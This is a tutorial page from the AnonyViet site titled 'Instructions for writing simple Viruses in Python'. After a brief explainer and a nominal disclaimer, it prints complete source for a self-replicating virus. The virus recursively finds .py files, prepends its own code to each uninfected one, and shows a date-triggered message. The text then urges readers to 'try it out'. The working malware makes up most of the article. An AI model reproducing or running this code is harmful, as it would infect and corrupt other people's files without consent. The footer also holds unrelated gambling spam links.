• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

Instructions for writing simple Viruses in Python

AnonyViet by AnonyViet
January 31, 2023
in Security
0

Hello friends !!

Join the channel Telegram of the AnonyViet 👉 Link 👈

One computer virus is a type of malicious software program (“malware”) that, when executed, replicates itself (copying its own source code) or infects other computer programs by altering the Computer programs may include them.data files, or “boot” sectors of the hard drive.

Virus writers use coding techniques and exploit detailed knowledge of vulnerabilities to gain access to their host computers and private resources. Most viruses target systems running Microsoft Windows, use a variety of new host infection mechanisms, and are often used to prevent detection or bypass Antivirus software.

Motivation to create virus may originate from the purpose of seeking profits of hackers
e.g. with ransomware, the desire to send a political message, for personal entertainment, to prove that a vulnerability exists in the software, for sabotage and denial of service, or simply because they want to explore cybersecurityissues, artificial life and evolutionary algorithms.

Here in this article we will guide simple python virus code for you to see what is Virus. Although this is a simple virus, for computer systems back in the day, it was a top threat in the world!!!

Note Before Doing

Our guide is designed to assist aspiring security testing enthusiasts in learning new skills, we only recommend testing this guide on one system or operating system. belong to you. We are not responsible for anyone who thinks it’s a good idea to try to use this to try to hack systems that don’t belong to you.

#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT'S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

If you want to know what the use is, try it out =)

AnonyViet wishes you success!

The article achieved: 5/5 – (100 votes)

Tags: InstructionsPythonsimpleviruseswriting
Previous Post

Download Tool ThrowBin.Io Leecher Data By Nguyen Dac Tai

Next Post

27 interesting tricks on CMD you may not know

AnonyViet

AnonyViet

Related Posts

How to use hackers use Splitfus to execute PowerShell malicious code
Security

How to use hackers use Splitfus to execute PowerShell malicious code

July 20, 2025
How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Next Post
27 interesting tricks on CMD you may not know

27 interesting tricks on CMD you may not know

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Instructions for receiving key advanced systemcare pro 18 6 months for free

Instructions for receiving key advanced systemcare pro 18 6 months for free

September 11, 2025
How to download photos on Shutterstock for free

How to download photos on Shutterstock for free

September 11, 2025
How much does iPhone 17 and iPhone Air?

How much does iPhone 17 and iPhone Air?

September 11, 2025
How to create pictures on walls with your picture with Gemini

How to create pictures on walls with your picture with Gemini

September 11, 2025
Instructions for receiving key advanced systemcare pro 18 6 months for free

Instructions for receiving key advanced systemcare pro 18 6 months for free

September 11, 2025
How to download photos on Shutterstock for free

How to download photos on Shutterstock for free

September 11, 2025
How much does iPhone 17 and iPhone Air?

How much does iPhone 17 and iPhone Air?

September 11, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Instructions for receiving key advanced systemcare pro 18 6 months for free

Instructions for receiving key advanced systemcare pro 18 6 months for free

September 11, 2025
How to download photos on Shutterstock for free

How to download photos on Shutterstock for free

September 11, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí 8XBET trang chủ new88 https://kubet88.yoga/

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí 8XBET trang chủ new88 https://kubet88.yoga/

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply